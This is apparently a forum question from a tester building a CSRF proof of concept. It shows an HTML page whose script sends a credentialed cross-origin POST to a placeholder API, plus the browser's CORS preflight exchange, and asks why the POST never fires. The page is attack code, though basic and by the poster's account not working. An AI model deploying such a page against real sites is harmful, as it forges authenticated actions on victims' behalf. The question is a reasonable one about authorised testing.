I'm currently working on a PoC for a CSRF attack, which should be possible due to the lax CORS configuration. I have a permission to attack.
Now the following code should send a OPTIONS request, which includes all the details required by the browser to send the actual CSRF.
<html>
<head>
</head>
<body>
<script>
function createCORSRequest(method, url){
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr){
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined"){
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
return xhr;
}
var url = 'https://api.example.com/path';
var xhr = createCORSRequest('POST', url);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', "application/json");
xhr.send("EXAMPLE");
</script>
</body>
</html>
The browser sends a OPTIONS request and the server answers accordingly:
OPTIONS request:
OPTIONS /path HTTP/1.1
Host: api.example.com
User-Agent: Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
origin: null
Connection: close
Cache-Control: max-age=0
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Origin: *
Date: Fri, 21 Sep 2018 07:25:06 GMT
Content-Length: 0
Connection: close
But the actual POST request is never sent. I'm not very good with JS and stitched the XHR part together from different StackExchange posts. A variation of this worked for me for a different web-application.
Why doesn't the browser send the CSRF POST request?